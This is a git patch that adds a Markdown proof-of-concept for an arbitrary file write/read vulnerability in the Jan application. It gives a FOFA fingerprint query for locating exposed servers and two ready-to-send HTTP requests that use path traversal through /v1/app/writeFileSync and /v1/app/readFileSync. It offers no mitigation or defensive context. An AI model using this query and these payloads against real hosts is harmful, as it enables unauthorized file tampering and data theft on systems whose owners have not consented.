From 3bd4f0d25dd0dec97aabb4cef0c6d21b414dafb2 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Wed, 8 May 2024 20:03:11 +0800 Subject: [PATCH] =?UTF-8?q?Create=20Jan=E4=BB=BB=E6=84=8F=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Jan任意文件上传漏洞.md | 46 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 Jan任意文件上传漏洞.md diff --git a/Jan任意文件上传漏洞.md b/Jan任意文件上传漏洞.md new file mode 100644 index 0000000..54fae0f --- /dev/null +++ b/Jan任意文件上传漏洞.md @@ -0,0 +1,46 @@ +## Jan任意文件上传漏洞 + +## fofa +``` +icon_hash="-165268926" +``` + + +## poc +``` +POST /v1/app/writeFileSync HTTP/1.1 +Host: {{Host}} +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 +Accept: */* +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate, br +Referer: http://: +contentType: application/json +Content-Type: text/plain;charset=UTF-8 +Content-Length: 35 +Origin: http://: +Connection: close + +["/../../../../../tmp/a.txt","abc"] + + +POST /v1/app/readFileSync HTTP/1.1 +Host: {{Host}} +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 +Accept: */* +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 +Accept-Encoding: gzip, deflate, br +Referer: http://: +contentType: application/json +Content-Type: text/plain;charset=UTF-8 +Content-Length: 48 +Origin: http://: +Connection: close + +["file:/../../../../../tmp/a.txt","utf-8"] +``` +![image](https://github.com/wy876/POC/assets/139549762/0558b716-4096-4789-a8cb-2bcebab4a009) + +![image](https://github.com/wy876/POC/assets/139549762/a6bb5774-5e79-4b2a-86a7-e2a60b333fa9) + +